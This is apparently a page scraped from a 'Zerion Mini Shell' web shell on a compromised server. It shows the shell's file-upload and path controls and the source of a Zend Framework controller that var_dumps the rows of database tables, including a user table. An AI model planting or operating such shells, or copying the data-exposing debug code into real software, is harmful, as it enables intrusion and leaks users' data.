%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/Basis/src/Basis/Controller/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/Basis/src/Basis/Controller/IndexController.php

<?php
/**
 * Zend Framework (http://framework.zend.com/)
 *
 * @link      http://github.com/zendframework/ZendSkeletonApplication for the canonical source repository
 * @copyright Copyright (c) 2005-2014 Zend Technologies USA Inc. (http://www.zend.com)
 * @license   http://framework.zend.com/license/new-bsd New BSD License
 */

namespace Basis\Controller;

use Basis\Model\User\User;
use Basis\Model\User\UserFactory;
use Zend\Mvc\Controller\AbstractActionController;
use Zend\View\Model\ViewModel;


class IndexController extends AbstractActionController
{
    public function indexAction()
    {
        $sm = $this->getServiceLocator();

        /* @var $defAdapter \Zend\Db\Adapter\Adapter */
        $defAdapter = $sm->get('Zend\Db\Adapter\Adapter');
        $db1Adapter = $sm->get('systemDB');
        $db2Adapter = $sm->get('viewsDB');

        $rowGatewayFeature = new \Zend\Db\TableGateway\Feature\RowGatewayFeature('id');
        $beispielTable = new \Zend\Db\TableGateway\TableGateway('beispiel', $defAdapter, $rowGatewayFeature);

        $rows = $beispielTable->select();

        foreach($rows as $row)
        {
            /* @var $row \Zend\Db\RowGateway\RowGateway */
            var_dump($row->toArray());
        }             

        $rowGatewayFeature = new \Zend\Db\TableGateway\Feature\RowGatewayFeature('id');
        $beispielTable = new \Zend\Db\TableGateway\TableGateway('user', $db2Adapter, $rowGatewayFeature);

        $rows = $beispielTable->select();


        foreach($rows as $row)
        {
            /* @var $row \Zend\Db\RowGateway\RowGateway */
            var_dump($row->toArray());
        }
        
        $rowGatewayFeature = new \Zend\Db\TableGateway\Feature\RowGatewayFeature('user_iduser');
        $beispielTable = new \Zend\Db\TableGateway\TableGateway('eventstore', $db1Adapter, $rowGatewayFeature);

        $rows = $beispielTable->select();

        foreach($rows as $row)
        {
            /* @var $row \Zend\Db\RowGateway\RowGateway */
            var_dump($row->toArray());
        }

        return new ViewModel();
    }

    public function databaseAction()
    {
        return new ViewModel(array("data" => "----"));
    }
}

Zerion Mini Shell 1.0